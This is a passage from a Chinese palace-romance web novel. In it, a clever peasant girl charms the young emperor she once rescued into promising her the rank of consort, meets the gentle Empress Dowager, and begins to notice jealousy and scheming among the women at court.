沈美娘俯身叩拜,夸赞道:“陛下冲龄践祚,就能将大燕治理得海晏河清,如此英明神武,前代多少英主都比不上,妾身如何不信?” 沈美娘把自己刚学会不久的溢美之词全用上了。 见姜颂还是没发话,沈美娘继续道:“陛下当然给得起荣华富贵!如果陛下封我做个贵妃,我就信!” 姜颂还想吓唬她? 这小子要真恨她入骨,就不会对外宣称她是他救命恩人,更不会留自己到现在了。 谁是这么恨一个人的。 看《中小学生守则》长大的臭小子,还想跟她演什么无情帝王? 这下好了吧,折了名声又赔位份,还得花钱养她。 第27章 第27章白给哥被套路的一生 沈美娘的话让整个大殿上都陷入了沉默。 大家都知道陛下在江南遇难时被一个农女救了的事,但他们也没往男女之事上想。 小小农女,肯定是粗手笨脚,没什么学识的粗鄙之人。 不过……今日他们见到沈美娘本人生得这般好看,又说了这样讨要册封的话。 十七八岁的少年人,相依为命好几个月,一时干柴烈火也说得过去。 姜颂听到沈美娘的话,也跟其他人一样陷入沉默。 但他的沉默略有不同。 沈美娘前不久才骂了他一顿,不说愧疚心虚,她怎么也不该这么连吃带拿吧? 况且,她到底知不知道自己在说些什么。 她说这种话,别人肯定会觉得她是个不检点的坏姑娘。 姜颂心里还生沈美娘气,却也做不到冷眼旁观沈美娘自污名声:“沈娘子是农家女,分不清内命妇和外命妇实属正常。” 他又道:“沈娘子对朕有救命之恩,封赏之事,朕自然不会忘。” 殿中大多数人都信了姜颂的话,一个粗鄙的农女,不知道宫中规矩才正常,陛下看不上她也正常。 想来两人共处那几个月里,应当也没发生什么逾矩之事。 沈美娘听到姜颂的话不服气。 谁说她分不清外命妇和内命妇的? 她的传奇故事又不是白听的,她知道贵妃是内命妇。 这个小皇帝居然造她谣。 沈美娘心里不忿,但等姜颂一脸得意看向她时,沈美娘还是不得不挤出一个笑容回应。 她明白了,姜颂肯定是在报复她,知道她喜欢荣华富贵,故意不给她贵妃之位。 真是好狠的男人。 沈美娘知道贵妃之位没指望了,化悲愤为食欲,她小口又迅速地往嘴里塞着东西。 不愧是宫里东西就是好吃。 特别是这个白色点心软乎乎的,还不黏牙,阿爹阿娘年纪大了,肯定喜欢吃这个。 姜颂看沈美娘不将自己放在眼里,心里更加生气,故意咳嗽了一声。 听到动静的臣子命妇都停下动作,坐得离姜颂最近的沈美娘将点心咽下去,才看向姜颂。 姜颂幽幽盯着沈美娘,问:“沈娘子,这些东西就这般好吃吗?” 沈美娘像是没听出姜颂的怨气,直接道:“回陛下,真的很好吃!简直就是玉盘珍馐,妾身还从来没吃过这么好吃的东西。” 姜颂听到沈美娘的话,心里更生气。 沈美娘和他重逢,就没什么话想和他说吗? 比如问问他的伤好没好,问问他为何之前没有告诉她关于他身世的实情。 一开口就是讨要封赏也就罢了,在她眼里,难道几块破点心都比自己重要吗? 姜颂起身,殿中人不明所以跪送,沈美娘也跟着他们跪下。 姜颂在她身前停下脚步,冷冷道:“跟上。” 沈美娘也不知道姜颂这是发什么疯。 她还有点没吃够…… 算了,先把小皇帝哄好再说。 殿内的人更加弄不清情况,陛下说是为感谢她的救命恩人,给她设宴接风洗尘,把京中有头有脸的人都请来了。 可是怎么这宴会还没半个时辰,两人都提前走呢? 郑尚书低声问关系亲近的沈温:“沈贤弟,你说陛下这到底是什么意思?” 沈温却置若罔闻,紧紧盯着远处提着裙摆,匆匆追上皇帝的少女。 郑尚书不知道他与沈美娘的纠葛,以为他也觉得这女人背景蹊跷。 郑尚书道:“我听说,这女人可不是陛下什么救命恩人……” 他声音压得更低:“这女人其实是叶明舟那个老东西献给陛下的。” 郑尚书注意到沈温眼中的不甘和袖下攥紧的手,连唤了他好几声:“沈贤弟、沈贤弟!” 沈温这才反应过来,蓦然温和一笑:“没什么,酒饮得有些多了,头昏得很。” 郑尚书觉得刚才肯定是他看错了,沈温这般温润的人,怎的会露出那般凶狠的样子呢? “说来,我记得你也是南州人?沈贤弟可认得这沈娘子?”郑尚书问。 沈温笑着摇头:“不曾。” 另一边的沈美娘,已经追上了姜颂。 她在姜颂身后约莫四五步的地方,不紧不慢地跟着他。 姜颂没说话,她也没说话。 沈美娘有些无聊,就悄悄观察这个皇宫。 可惜她没什么文化,想来想去,还是只想得出“好大”、“好高”和“好华美”的赞美之词。 姜颂突然转身,捕捉到了沈美娘走神的瞬间。 他叫沈美娘跟着他,沈美娘怎么都还要走神! 姜颂挥退跟着的侍女,垂眸看她:“你就没什么想和我说的吗?” 沈美娘也不知道有什么好说的。 姜颂现在不是已经好好站在她面前了吗?既然如此又还有什么需要问的呢? 但沈美娘知道姜颂现在今时不同往日,小声试探:“陛下,希望我和您说什么呢?” “当然是希望你关心……”姜颂说到这里停下话头,偏过头去,“算了,你爱说不说。” 他才不要看起来太上赶着。 沈美娘这种得寸进尺的人,他要是稍微软下态度,她能直接贴脸捉弄他。 姜颂已经在她身上栽过这么多次,才不会继续犯蠢。 沈美娘听到姜颂的话,瞧着他撇过头故作生气的样子。 这次他好像是真的有点生气。 沈美娘垂下眼睫,很快就想出该怎么哄他了。 “我看陛下光顾着喝酒了,都没吃什么东西,不如还是吃点东西垫垫吧。”沈美娘从袖中掏出用帕子包好的点心递到姜颂面前。 她踮起脚,仰头笑着看姜颂:“就算陛下再怎么生我气,也得先吃饱呀。” 姜颂看沈美娘都这样了,再不拿的话就有故意拂她面子的意味了。 他正想不情不愿拿一块点心吃的时候,沈美娘已经主动把点心怼到他嘴里。 沈美娘歪头笑了笑:“陛下,这个点心又甜又软,真的好好吃。” 姜颂将点心咽了下去。 他也没吃出这点心和别 的点心的区别,只觉得这点心可能是被沈美娘的手帕包过,上面也沾染了她身上的浓郁香气。 姜颂不喝酒,素来都是以茶代酒,此时此刻却好像有些醉了。 他也说不清楚,只觉得脑袋晕乎乎的。 沈美娘奸计得逞,憋不住笑意:“陛下,还要再来一块吗?” 姜颂这才发觉他又被沈美娘转移话题,逗弄了一番。 他冷声道:“不必了。” 姜颂想要扳回一城,故意道:“你刚才又在席上打包东西。这里不是南州,别人会笑话你的。” “不会啊。”沈美娘凑近姜颂,眨了眨眼,“我可是陛下的救命恩人,哪个不长眼的敢笑话我?只要陛下在,我就算把别人桌上的点心都打包走,都没人敢说什么。” 姜颂忍不住笑出声,才发觉自己又输给沈美娘了。 这辈子在耍嘴皮子这件事上,他是没机会赢她了。 姜颂被沈美娘逗了这几下,原本的怨气散了许多,可他这次实在是做不到低头。 那夜的争吵,用他妈妈那个世界的话来说,两人吵的是对“爱情”的定义。 就算这辈子只能做“姜颂”,他也绝不可能认可沈美娘的爱情观。 可如果不低头,沈美娘肯定也不会迁就他…… “陛下,”就在姜颂纠结时,沈美娘伸手主动环住他的腰身,“我其实有很多话想和你说。” 沈美娘和他细数:“人生不过七八十年,到现在,妾身已经活了快二十年了,至多也就只能陪陛下六十年。我们何必去纠结一些不愉快的事情呢?” 姜颂听到这话点了点头。 沈美娘扎进姜颂怀里,抱得更紧:“把光阴浪费在内耗上太不值得了。陛下,我们要珍惜在一起的时光才对。” “我分得清外命妇和内命妇,我就是想做贵妃,想日日陪在陛下身边。之前差点和陛下错过,我想往后余生都再也不要和陛下错过了。”沈美娘闷闷道。 姜颂听到沈美娘这般剖白内心的话,不由软了心肠,哪里还记得什么怒气和幽怨。 在短暂的怔愣后,他回抱住了沈美娘:“嗯。” 姜颂察觉到入冬的寒意,将宫人带着的大氅披到沈美娘身上,他温声道:“上京的冬天比南州冷得多,你一定要注意身子。” 沈美娘笑着点头。 姜颂又道:“我等会儿就宣礼部尚书进宫,贵妃册封的事,一定能快尽快。” 沈美娘闻言,用力抱住姜颂:“宋江江,我最喜欢你了。” 在姜颂看不见的地方,沈美娘松了口气。 她终于把姜颂的毛顺好了。 姜颂叫人送沈美娘去拨给她住的宫殿,沈美娘拉住姜颂的袖子问:“陛下不去吗?” 姜颂听懂沈美娘的言下之意,耳尖绯红,强撑着道:“朕、朕……还没满十八。” 沈美娘“哦”了一声,又踮起脚凑到姜颂耳边,暧昧道:“那陛下一定要快点满十八哦。” 说完,她轻笑一声,带着宫人走了。 姜颂愣在原地,好半晌才回过神来。 他捏着还在发烫的耳朵,像是还在回味什么。 沈美娘这个人……这种事要是能快,他也想啊。 把姜颂弄得不好意思的“罪魁祸首”沈美娘,不仅没有一丝心虚,此刻她正站在宫人口中,姜颂安排给她住的“关雎宫”前被惊得张大了嘴。 沈美娘问引路的宫人:“这真是给我住的?” 这么大的宫殿,只住她一个人会不会太浪费呢? 领头的宫人点头:“自然是给娘子住的,这关雎宫历来都是宠妃所居,娘子这可是好大的造化。” 沈美娘听到这话,从头上拔下一支金钗,递给这宫人:“不敢,往后还得靠你们多上心才是。” 那宫人接过金钗,眉开眼笑,更加热切地给沈美娘介绍。 这关雎宫还真是大,正殿、侧殿都很大就不说了,这关雎宫还有两个园子,里头还种了不少竹子和牡丹,还带了个好大的荷花池。 宫人注意到沈美娘的目光,继续道:“娘子有所不知,这荷花池是关雎宫始建时便有的,这竹子和牡丹却是陛下前不久特地叫花房的人种的。不知可是娘子喜欢的?” 沈美娘看着那些翠竹和还没到花季的牡丹。 大冬天叫人种花草,也就姜颂这种没种过田,不知时节的贵公子才想得出来。 沈美娘都能想到花房的人,是怎么骂姜颂的了。 但终究是他的一番心意。 沈美娘点头:“喜欢,我最喜欢牡丹了。” 宫人刚给沈美娘讲完宫殿布局,宝儿就像一只鸟儿般扑进沈美娘怀里。 她眼泪汪汪:“美娘,你可算回来了,我才知道那个小剑客他居然是……” “嘘。”沈美娘示意宝儿先别说话。 等进了殿,沈美娘让其他人都退下,只剩下她们二人和青词后,沈美娘才开口:“你放心,宋江江就算是皇帝,我也有拿捏他的办法,” 宝儿点头:“美娘我相信你,可是,那个小剑客今晚真的没有为难你吗?” “没有!不仅没有,我还找他要到了贵妃之位。”沈美娘伸出五根手指晃了晃,“贵妃的俸禄同丞相,一年可是有足足五百石。” 宝儿还是有些不放心:“你和他当真和好呢?” “和不和好重要吗?”沈美娘不在意道。 宝儿:“当然重要,你不是喜欢他吗?” 沈美娘听到这话捂住嘴,原本是想憋笑,实在是憋不住,还是笑出了声。 她道:“宝儿,我喜欢的是宋江江,不是姜颂,更不是那个皇帝。” 宝儿不解:“有什么区别吗?” “当然有区别。”沈美娘耸了耸肩,“谁要是喜欢皇帝,我笑话她一辈子。” 连叶随那种高门子弟的爱,沈美娘都不相信,更不要说是皇帝了。 见宝儿还想说什么,沈美娘直接打发她出去:“你去给刚才领路的那几个大宫女给点金子,顺便问问宫里的事。” 宝儿被一打岔,忘了原本还想问沈美娘的事,点头出去了。 宝儿出去了,青词却还在屋内,她看向沈美娘欲言又止:“你是为了我的事,才决定进宫来的吗?” 沈美娘和青词都心知肚明两人说的是哪件事。 沈美娘勾唇浅笑:“你的事,确实得我进宫大抵才做的成……但我也喜欢这皇宫,这般大,这般华丽,叫我待一天就死掉,我也心甘情愿了。” 青词听到这话,眼里还是有些歉意。 沈美娘不喜欢在感情上拉拉扯扯,直接道:“咱们在京城站稳脚跟,比我想得还要快很多,你和赵家兄妹尽早联系上后,叫他们盯着点叶六略人的案子。” 她道:“若是官府救下的姑娘没有银钱回故里,又或是没有去处的,你让他们帮衬一下。” 沈美娘这人万事先保自己,但如今她既然有余力,那做点好事也未尝不可。 青词点头:“是。” 沈美娘走到青词身边,道:“南州的事这便算是彻底了了,你的事总该给我个开始的机会了吧。” 青词神情变得严肃,有些不忍:“你真的想好了吗?我的事,比赵家兄妹还难得多。” “我们当年不是早就说好了吗?你护我性命平安,我替你叫那人血债血偿。”沈美娘悠悠笑道,“我要是不信守承诺,以后谁还给我卖命?” 青词听到这话,从怀中取出被用绸布仔细包裹好的东西,一层层打开,露出里面被包裹的像碎璧的玉佩。 沈美娘问:“这是什么?” 青词解 释:“‘龙凤双首珩佩’,是块古玉,原是组玉佩的一部分,其余的不知何处,这对珩佩就到了夫人手里。” “夫人后来将双佩,一佩给了她的夫君,另一佩便给了亲生女儿贴身佩戴。” 沈美娘抚摸这块玉,道:“你替我戴在腰间吧。” 青词还是有些迟疑:“沈美娘,你当真想好……” 沈美娘打断青词的话,不屑道:“自然。就算是神仙,我也能将他拉下神坛,偿人性命。” “杀人偿命”这种道理,她这种白字先生都明白,那些饱读诗书的士大夫们,合该比她更懂吧。 沈美娘的神情在半昏半明的殿内,显得亦正亦邪,深不可测- 姜颂说了要封沈美娘做贵妃,当晚就召了礼部尚书李守义进宫。 李守义听到姜颂要册沈美娘为贵妃,建议道:“陛下,这沈娘子于您有救命之恩,乃是大功一件,可是她毕竟出身贱籍……” 李守义顿了一下,坚持道:“臣以为,您不如先册她一个才人的位份,来日待娘子诞下皇嗣,再位列‘三夫人’也不迟。” 姜颂好脾气地听李守义说完,才道:“李卿,难道救命之恩,还不值一个贵妃之位?若是叫天下人知道,救了皇帝却连个‘三夫人’的位置都得不到,日后还有谁会忠于皇家。” 李守义明白姜颂的言下之意,跪下磕头:“陛下说的是,臣定会将贵妃娘娘的册封礼办妥。” 姜颂这才叫李守义退下。 姜颂还不知道这人打的什么注意。 李守义是谢阁老的女婿,他这么做不就是在替谢党试探他对沈美娘的态度吗? 他们既然要试探,那他也把态度亮出来,他姜颂就是偏袒沈美娘。 他们党争之事,父皇和他都睁一只眼闭一只眼,任他们斗去了,但谁要是敢对沈美娘下手—— 姜颂眼里闪过一丝寒意。 父皇当年立母后时是如何敲打那些人的,他也不介意再来一次。 李守义离开后,姜颂就寝时,他才觉得很疲惫。 他不喜欢这种生活…… 可他既然选择了做“姜颂”,那他就得一直做下去,不可以抱怨,更不可以反悔。 姜颂躺在空落落的殿中,越发希望快点满十八岁。 那样他就可以和沈美娘躺在一起,和她悄悄说不被其他人理解的话。 想着沈美娘白日调戏他的话,姜颂才后知后觉意识到——今天白天沈美娘抱着她那番“诉衷肠”,直接就把那夜两人吵架的锅全甩给他了。 他和沈美娘说她过去做得不对,沈美娘和她谈未来和人生苦短。 沈美娘就是故意用岁月静好的美满一生,来忽悠他忘记两人还有矛盾没解开。 姜颂猛地坐起来。 他原来又被沈美娘耍了。 姜颂问守夜的宫人:“如今什么时辰了。” 宫人:“回陛下,刚过子时。” 姜颂听到已经这般晚了,不情不愿躺回床上。 这么晚了,现在去找沈美娘肯定会打搅她休息,她又喜欢早睡养颜。 姜颂暗下决心,等明日早朝后,一定立马去关雎宫找沈美娘要说法。 他这次决不让沈美娘再“套路”他! 第28章 第28章《中小学生守则》还在发…… 沈美娘在关雎宫睡的这一夜睡得很舒服。 不愧是宫里,有地暖,即使外头比南州冷多了,屋里头却如春日般温暖。 沈美娘醒来后,光着脚在地上踩了两下,越发觉得这里可真好。 等解决了青词的事,她一定要让阿娘和阿爹也住上这样的好房子。 宝儿听到沈美娘殿内的动静,抱着她今日要穿的衣裳进来,看到她的动作惊呼:“沈美娘,你也不怕着凉!” “不会。”沈美娘这才穿上鞋,“地上是暖的,不会着凉的。” 宝儿不知道沈美娘刚才的想法,道:“你还关心这些,刚才太后娘娘宫里的女官来说,叫你立刻动身去她那里。” 沈美娘问:“女官?女子也可以做官吗?” 比起太后,沈美娘显然对这个东西更感兴趣。 宝儿初来乍到也不懂这个,殿中省拨给沈美娘的大宫女韦阿宜给二人解释:“六尚局和宫正皆设女官,太后、皇后和九嫔以上妃嫔宫中也设女官。” 沈美娘听到这话,看向宝儿:“既然如此,那宝儿你岂不是也可以做女官。” 宝儿显然不太自信:“人家女官肯定得要会识文断字的,我哪里行……沈美娘你快别说这个了,小心去迟了!” 沈美娘也觉得宝儿说的有点对,不识字确实太吃亏了。 她先让宫女给她换衣裳,等换好衣裳,她也想出了办法:“那咱们就从头学,咱们一起学!” 宝儿还是觉得这事不大能成,读书那可是贵人才有机会的事,就算是寻常人家,也得是很有闲钱的人家才会供儿子去求学的。 她是奴婢出身,又是女儿身……怎么可能嘛。 沈美娘像是看透宝儿的想法,道:“那些士族垄断文脉传承,我偏不信,我就要学。” “既然都是要吃饭睡觉,都是两个眼睛一张嘴的人,凭什么他们学得会,我们就学不会?”沈美娘反问。 沈美娘拉住宝儿的手,盯着她:“宝儿,你说是不是?” 宝儿一直都知道沈美娘很会蛊惑人心,很会三言两语挑拨人。 此刻被她这样盯着,宝儿咽了口口水,跟着用力点了点头:“嗯!” 沈美娘揉揉宝儿的头:“好宝儿。” 安慰完宝儿,沈美娘在去太后住的寿康宫路上,又问了韦阿宜一些关于这位谢太后的事。 韦阿宜道:“太后乃是先帝元后,显庆四年被废,迁居东都行宫。当今陛下即位后,尊其为太后,将其迎回宫中。” 传奇故事总提到这件事,但沈美娘一直都不理解这件事。 谢太后和文昭皇后母子应该算是政敌,按理来说,姜颂继位,那就是文昭皇后母子彻底赢了。 若沈美娘是姜颂,定会杀了那谢太后,永绝后患,谁知道姜颂却把人接回宫,还尊为太后。 沈美娘从前都觉得这是姜颂为了平衡谢阁老与叶丞相的势力,也可能是他在和谢家权力博弈时输了,只好退了一步。 可她现在才知道姜颂可不是什么傀儡皇帝,所谓的谢叶党争好像也只是他故意放纵的。 想来想去,沈美娘突然产生一个念头,问:“谢太后和文昭皇后关系好吗?” 韦阿宜摇头:“奴婢入宫时,文昭皇后已然崩逝,此事奴婢也不知,但想来先帝偏宠文昭皇后,二人应该多有不睦。” 也就是说没有确切的证据,能够证明这二人不睦。 沈美娘心里有了个猜测。 她不了解权力斗争,但她了解姜颂——至少她了解宋江江那个人。 也许,姜颂尊谢太后,并不涉及权力斗争,很有可能是他与谢太后当真有母子之情。 若是这般,那今日谢太后宣她,大抵就不是试探她和立威,很有可能是当真作为长辈,想见见儿子新纳的妃子儿子。 沈美娘脑子里已经预想好了等会儿谢太后可能会问的问题。 沈美娘最害怕见这种养尊处优的贵妇人。 在她的认知里这些贵妇人,最瞧不起她这种以色事人的歌姬舞妓,都觉得是她们这些人把她们的好儿子带坏了。 可等沈美娘进入殿中,正欲行礼,却听到了一道很温柔的女声:“不必多礼。” 沈美娘发现这位谢太后可能不是她以为的那种贵妇人。 谢太后让沈美娘坐下,又道:“不必拘谨,哀家就是想见见你,和你说说话。” 沈美娘这才抬头,看清谢太后的模样。 谢太后生得很美,快四十的岁数,看起来却像是只有三十岁。如果不是眼角有细纹,说她只有二十几岁,沈美娘都信。 更别说,谢太后的眉眼生得温婉,举手投足都很优雅。 沈美娘也不知道该怎么 形容这种感觉,她只觉得这谢太后一看就是读了很多书的样子。 “对,沈娘子不必拘谨,往后若是无事,也可以常到寿康宫来玩。”谢太后身旁的女子道。 沈美娘看过去,只见是个同样很漂亮的年轻姑娘。 谢太后皱了皱眉,好像是有些不满意那人插话。 但她还是先笑着给沈美娘介绍:“这是我侄女谢颖,往后你们也可以一起说说话。” 沈美娘点头,装作乖巧听话的模样:“好,民女也一瞧这位姑娘,就很是喜欢。” 谢太后听到这话笑着对沈美娘点头,又偏过头对谢颖道:“你去帮哀家问问太医院,怎的今日的安神汤还没送来?” 沈美娘听出谢太后这话是在打发谢颖。 果然等谢颖离开后,她也叫其他伺候的人都退出殿外。 谢太后这才继续问沈美娘。 都是些很简单的问题,包括她是哪里人,什么出身,家中是做什么的。 沈美娘一一回答:“民女是绵州人,家中世代务农。十二岁那年蜀中大旱,民女家中人陆续都饿死了,为了活命,民女就一路逃到了南州。” 这是沈美娘早就编好的说辞,不同的人听到也会有不同的反应。 而谢太后听到沈美娘的话,眼里居然隐隐有了泪光。 谢太后握住沈美娘的手,拍了拍她的手:“你受苦了。” 沈美娘这套说词和身世是她编的,这里面除了那年“蜀中大旱”和“世代务农”是真的外,没一个字是真的。 她心生负罪感。 原来谢太后也这么好骗。 姜颂的心软和好骗果然都是有迹可循的。 沈美娘被谢太后的眼泪感染,也跟着眼泪汪汪,半真半假道:“太后娘娘,您真好……您是第一个这般温柔安慰我的人,就跟我阿娘一样好。” 谢太后听到这话,更加疼惜沈美娘。 她握住沈美娘的手,轻声道:“你从前吃过很多苦,或许会因皇帝对你好,就把感激当成了喜欢。但若是哪一日,你发觉自己不喜欢他了——” “只要哀家还活着,你都可以来找哀家,哀家会想办法帮你的。”谢太后道。 沈美娘眼泪都被惊得猛地憋了回去。 谢太后这是在说什么? 沈美娘以前觉得宋江江就够离经叛道的了,怎么谢太后好像还更胜一筹? 宋江江全家不会都是看《中小学生守则》长大的吧? 谢太后以为沈美娘是不理解这话,继续柔声解释:“你不必害怕,哀家也是从你这个年纪过来的,哀家知道,你喜欢陛下很有可能是因为你没得选……” 她也曾这样,被所有告诉她该喜欢先帝,她也以为自己该喜欢先帝。 直到有一天,谢太后才知道她也可以喜欢别人。 “况且,”谢太后垂下眼睫,遮掩眼中的怀念,“这也是哀家答应陛下生母的事情。” 她答应过那个人。 如果姜颂有一天喜欢上了哪个姑娘,她一定要好好照顾那个姑娘。 毕竟姜颂这孩子多思敏感,说不定会比他父皇还容易走极端。 沈美娘听到这里已经快被吓得魂飞魄散了。 她都快分不清到底这谢太后是在说真话,还是在故意引她上钩。 谢太后说的话,可是实打实的大不敬和秽乱宫闱。 沈美娘此时无比希望姜颂出现,她一点都不希望回答这种可能会掉脑袋的话。 “沈美娘!” 沈美娘听到一个无比熟悉的声音和他急匆匆的脚步声。 想姜颂,姜颂就到! 沈美娘没有一次比现在更喜欢姜颂沉不住气的性子。 她立刻松开被谢太后握住的手,跑到刚进殿的姜颂身边:“陛下,你来了,妾身在和太后娘娘闲话家常。” 姜颂握住沈美娘的手,将她从头到脚仔细打量了一遍,确定她没有事后,才对谢太后行礼。 他问:“母后,您今日怎的突然叫美娘来?” 谢太后轻笑:“哀家就是听说你从江南带回来一位美人,想问问她在京中可有什么不适应之处。” 姜颂点头:“多谢母后关心。若是母后无事,儿臣和美娘就先退下了。” 得到谢太后许可后,姜颂拉着沈美娘的手就往外面走。 等出了寿康宫,姜颂问沈美娘:“你来寿康宫,怎的不派人先去问问我?” 沈美娘刚才一路被姜颂拽着手,手都被他拽疼了。 听到姜颂这话,她撇嘴:“谢太后是长辈,难不成还能吃了我吗?” “母后当然不会。”姜颂压低声音又道,“但她背后的谢党就不一定了。” 谢太后平日里深居简出,潜心研究道学,姜颂都快把她忘了。 她今日早早唤沈美娘来寿康宫,姜颂当然害怕她会对沈美娘不利。 早知如此,他还不如派几个暗卫保护沈美娘。 想到这里,姜颂试探问:“我要是派几个人暗卫守着你,你会不会不高兴?” “不会啊。”沈美娘摇头,“陛下要派人保护我,那当然是好事!” 姜颂不解:“你不会觉得那是在监视你吗?” 沈美娘这才知道姜颂在纠结什么。 原来皇帝姜颂也会和剑客宋江江,一样重视“自由”这个问题啊。 沈美娘道:“那有什么不好吗?用一部分自由换来安全,我觉得还挺划算的。” 反正姜颂派来暗卫,她也能找到背开他们的办法。 姜颂听到这话却像是松了口气,笑道:“好,那我会派几个人去保护你的……你放心,只是保护你,绝不会探听你任何别的消息!” 他再三承诺:“就算那些暗卫偷听了,我也绝对不听!” 沈美娘听到姜颂的话,盯着他泛着傻气的脸,又注意到他身上还没得及换下的朝服。 看得出来,今日姜颂是一下朝就往寿康宫赶来的。 沈美娘觉得眼前的皇帝姜颂,好像和那个剑客宋江江有些重合。 她微微晃神,又眨了眨,才抱住姜颂:“那就多谢陛下了!” 她信誓旦旦和宝儿说她分得清姜颂和宋江江,可是她真的分得清楚吗? 第29章 第29章滴~好人卡~ 沈美娘觉得自己是被姜颂傻气又好看的笑容晃了眼,居然都开始认为他依旧是那个单纯好骗的小剑客了。 但她很快反应过来,继续乖乖跟在姜颂身后。 姜颂好像不喜欢她这样,问:“沈美娘,你不是最喜欢牵我衣袖吗?怎的今日不牵我衣袖呢?” 两人在芙蓉谷的时候,沈美娘知道牵他手,他会害羞,就总是牵着他的衣袖。 但沈美娘现在都不牵他的衣袖了。 沈美娘解释:“如今您是陛下,妾身再那样就于礼不合了。妾身要是那般做了,文臣们肯定会说妾身是红颜祸水。” 沈美娘拎得清撒娇的度,她又不是只想要一时风光。 她听了那么多传奇故事,当然知道古往今来,最不缺的就是被宠爱一时,却在失去皇帝圣心后,下场凄惨的美人。 更何况,男人嘛,爱你时千般好。哪天不爱了,就该数落你不懂事,不守礼了。 沈美娘才不会给姜颂将来万一不喜欢她了,治她罪的机会。 谁知道,姜颂听到沈美娘的话,居然主动把他宽大的袖子递到沈美娘手中。 他偏头,笑得眉眼弯弯:“不怕!是我叫你牵的,要骂也是骂我荒唐,不会骂到你身上。” 沈美娘盯着姜颂的脸,眸色深了深,还是迟迟没有动作。 就在姜颂有些失落,想要讪讪收回手的时候,沈美娘却伸手主动握住了姜颂袖中的手。 她握住姜颂的手,还故意捏了捏,娇声道:“那陛下可要说到做到哦,不然妾身会难过的。” 姜颂被沈美娘指尖泛着寒意的手陡然握住,在短暂的怔愣后,脸立刻变得通红。 他害羞却坚定回应:“嗯!” 沈美娘闻言,又忍不住捏了姜颂的手好几下。 姜颂可能是因为练剑的缘故,身体好不说,手也总是热乎乎的, 摸着可舒服了。 两人牵着手,漫步在宫道上,路上的宫人都低下头,不敢多看一眼。 雪恰合时宜地落下,姜颂从宫人手中接过伞,给沈美娘撑开。 他欢喜道:“这可是今年上京下的第一场雪。” 第一场雪,他就可以和沈美娘同撑一把伞在雪中漫步。 看来老天爷也很眷顾他们这对有情人。 沈美娘也对这雪很感兴趣,伸出手接住缥缈的飞雪。 姜颂看沈美娘对雪如此上心,得意道:“你在南州肯定没怎么见过雪吧?就算见过,南州的雪肯定也不及我们上京一半大。” 他骄傲道:“这么小的雪,我一般都不打伞的。听说只有你们南方人,才会在下雪的时候打伞。” 沈美娘瞧姜颂炫耀的样子。 他像是终于找到能在心上人面前露脸的小孔雀,开始胡言乱语,想到什么吹什么。 沈美娘见此,也就将她到嘴边反怼的话咽了回去。 譬如,沈美娘在家乡时,一到过年前后,就会有雪将大山覆盖。 她就会跑到雪地里,和最好的朋友们打雪仗,等把手指都冻成一节节的“小山药豆”,才会回家边烤火边挨阿娘的骂。 沈美娘掐着嗓子奉承:“陛下可真厉害。” 姜颂没听出她语气里的揶揄,挑了挑眉:“那当然!” 沈美娘被姜颂的“单纯”弄得无话可说,想了想选择继续捏他的手。 两人撑着伞,牵着手,恍惚间,沈美娘想起两人曾经在芙蓉谷的田埂上漫步的日子。 沈美娘心里涌起一股很陌生的情绪。 是只有小时候,和阿娘阿爹在一起才有的安稳感。 就在此刻,沈美娘听到姜颂道:“沈美娘,你说我们这样算不算岁月静好、现世安稳?” 姜颂说完,才想起来她学识不多,正想解释,却看到沈美娘点头:“应该是吧。” 沈美娘猜出了姜颂说的这两个词的意思。 姜颂得到沈美娘肯定,笑意更甚。 如果不是碍于现在在外面,他又撑着伞,他真的很想抱住沈美娘,在她怀里蹭蹭。 两人一路上还遇到了帮谢太后端安神汤回来的谢颖。 谢颖身边还站着一个女人。 这个女人生得比谢颖还要漂亮得多。 即使沈美娘自诩“天下第一美”,也不得不承认这个女人的容貌和她一样出挑。 沈美娘还注意到这女人和那日引她入宫的女官打扮略有相似。 但这女人的发髻梳得更高,衣着也更加华丽,想来恐怕是宫中哪位官位更高的女官。 谢颖和那女人一齐给姜颂行礼。 姜颂颔首,对谢颖道:“谢娘子伺候母后费心了。” 谢颖不敢邀功:“陛下盛赞,臣女惶恐。太后娘娘是臣女姑母,臣女尽心是分内之事。” 她看向身边的女人:“倒是苏尚仪对寿康宫一直格外上心,事事妥帖。” 沈美娘才知道这女人居然是尚仪。 也不知道尚仪是多大的官,不过能和皇帝、谢颖他们说上话,想来应该是很大的官了。 苏尚仪谦恭道:“这是下官应尽之责。” 沈美娘看到这个苏尚仪偷偷看了姜颂一眼。 这一眼里全是对姜颂的倾慕之情。 但姜颂好像并不知道她的喜欢,只微微笑道:“谢娘子说的在理。苏尚仪这么多年做事得力,等开春,朕是该给你封个郡君的诰命以作嘉奖。” 苏尚仪磕头谢恩,没有半分逾越规矩。 若不是沈美娘刚才注意到了她的那一眼,都不会猜到她居然对姜颂有意。 等沈美娘和姜颂离开后,苏尚仪看向谢颖:“谢娘子,你不是说新进宫的沈娘子有些住不习惯,太后娘娘唤我来交代事务的吗?” 谢颖明显就是撒了谎,故意让她撞到沈娘子和陛下的相处。 谢颖微笑:“苏大人说什么呢?我也没想到陛下会来……” “谢颖,”苏尚仪打断谢颖没说出口的挑拨话,“你觉得我会嫉妒沈娘子?那你也太看不起我苏云卿了。” 苏云卿冷冷道:“今日之事,我不会告诉太后娘娘你假传懿旨,也请你好自为之。” 她说完这话就拂袖而去,留谢颖一个人在原地。 谢颖收敛了脸上的笑意,盯着苏云卿离去的背影。 这确实不是谢颖的本意,她原本是想让苏云卿见到沈美娘,知道沈美娘不过是个卑贱至极的女人——可就是这样一个如尘泥般的女人,却能得到苏云卿心心念念的人。 谢颖也不知为何皇帝会来寿康宫。 但两人如胶似漆的画面,恐怕更能刺痛苏云卿吧。 谢颖可不信苏云卿不会嫉妒。 若沈美娘是哪个高门贵女,苏云卿当然不会嫉妒。 可若是她知道沈美娘只是个低贱的农女,大字不识几个呢?容貌、品行、才学皆不如她苏云卿呢? 那头的沈美娘和谢颖二人别过后,就加快了步伐。 既是因外头的雪有越下越大的势头,也是沈美娘想问关于苏云卿的事。 但刚进殿,沈美娘就看到姜颂很是熟稔地吩咐人把姜汤端上来。 他还帮沈美娘解开披在外面的披风,怕她把寒气带进屋着凉。 姜颂好像一点都没在意刚才的碰面,对谢颖和苏尚仪好像都满不在乎的样子。 沈美娘刚才就觉得姜颂对苏尚仪没有别的意思,这下不由更确信了几分。 还没等沈美娘开口,姜颂却先注意到沈美娘腰间的玉佩,问:“美娘,你怎的不戴我送你那块呢?” 沈美娘没想到姜颂会问这个,只好先回答他:“陛下送我的那块,我舍不得戴,怕摔坏,就让宝儿收起来了。” 她总不能告诉姜颂,她以为两人缘分已尽,把玉佩压箱底了。 